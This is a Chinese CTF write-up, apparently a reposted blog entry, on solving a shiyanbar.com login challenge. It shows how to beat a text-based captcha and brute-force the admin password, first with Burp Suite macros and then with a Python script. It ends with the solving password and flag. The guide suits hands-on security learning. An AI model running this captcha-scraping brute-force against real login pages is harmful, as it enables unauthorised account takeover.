记一次渗透测试(1)

一.http://ctf3.shiyanbar.com/just/index.php

1.用火狐浏览器打开页面:

(注:linux的截图按键可以直接用alt+PrintScreen截取当前的活动窗口,按shift+PrintScreen可以选定区域截图,截图会自动保存在图片目录下)

2. 观察该页面,查看网页源码发现提示。

3.进入该页面:http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php

发现登陆框,并且带有验证码。

4. 用户名锁定为admin,尝试弱口令admin123456password等均无法进入。

而且发现每次进入后验证码都会变化,并没有一定的规律。目测无法忽视验证码爆破。

这里会返回密码错误,验证码错误的界面。

5. 所以需要对验证码进行获取再利用bp或者脚本进行爆破。这里查看一下网页源代码,看一下验证码的类型。

可以发现验证码的类型是text类型,这样还很好获取,而且发现了提示,密码位于1111112111之间。(可以用python或者任何一门语言,很简单的循环生成数字输出到txt文件中就可以生成一个密码表)

第一种方法:

burpsuite设置宏(macro)的方式来进行绕过验证码爆破。

(这里因为kaliburp有些问题,就在windows中操作)

(1)首先打开burpsuite,然后点击project options 选择 sessions拉到最下面就会看见Macros

 

(2) 点击Add,这时候会弹出两个窗口,一个是Macro Recorder,一个是Macro Editor

(3)Macro Recorder中上方显示的是我们的历史浏览记录,我们需要找到我们刚才登的网站,如果没有的话就抓一次包,就会出现。选中点击OK即可。自动回到Macro Editor

4)然后我们选中网页,点击 Configure item 弹出下面的窗口 点击下方的Add 我们给他命名为randcode,然后再下面的文本框中选择验证码的数字,我这里是984.之后再上面的 Starter 以及End会自动填写。

5)点击下方的Add 我们给他命名为randcode,然后再下面的文本框中选择验证码的数字,我这里是984.之后再上面的 Starter 以及End会自动填写。

 

(6)点击ok,回到界面继续点击ok,我们就完成了这个Macro的配置。接下来需要让burp自动调用该Macro,并替换请求的randcode的值。切回project options的选项卡,找到Session Handling Rules

(7)点击add然后在下方的Rule Actions点击Add并选择run as a macro

(8)这里选择 Update only the following parameters 点击Edit 选择我们刚才添加的randcode,然后其他默认点击ok

 

(9)之后点击scope进行如下配置

(10)点击ok回到抓包,我们抓取一个包,并发送到intruder 载入密码表开始暴力破解

之后就很简单了,我们只要找到返回长度不一样的看一下它的response就可以找到flag了。

(错误的会提示密码错误)

第二种方法(脚本):

因为是刚开始接触python,所以注释写的尽量复杂,代码还不够优化。

from bs4 import BeautifulSoup
#pthon3.x版本导入bs包
import requests
#导入request包

s = requests.session()
#获取session

for i in range(11111,12111):
     url = 'http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php'
     response = s.get(url)
     html = s.get(url).text
     soup = BeautifulSoup(html, "html.parser")
     randcode = soup.form.contents[10].split(' ')[1]
     i = str(i)
     #将i转化为str类型
     url = 'http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php?username=admin&password='+i+'&randcode='+randcode
    # 将payload 和 randcode带入到拼凑的url中
     print(s.get(url).text.encode('ISO-8859-1').decode(response.apparent_encoding))
     #输出能正常显示中文的返回页面的文本
 
 

之后开始执行,python的速度真的很快。

我们可以把控制台的输出结果ctrl+a ,然后ctrl+c复制粘贴到文本文档中。

回复的一般都是密码错误,所以没有密码错误的就是我们想要得到的。

可以用word的编辑查找功能。(一个一个看也可以,后来才知道查找flag就可以)

11713

------------------------------------

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>9s81jWjd98YU</title>

</head>

<body>

<br>

<br>

<center><h3>flag{c369af821e667}</h3></center>

原文地址:https://www.cnblogs.com/lixiaoyao123/p/9671323.html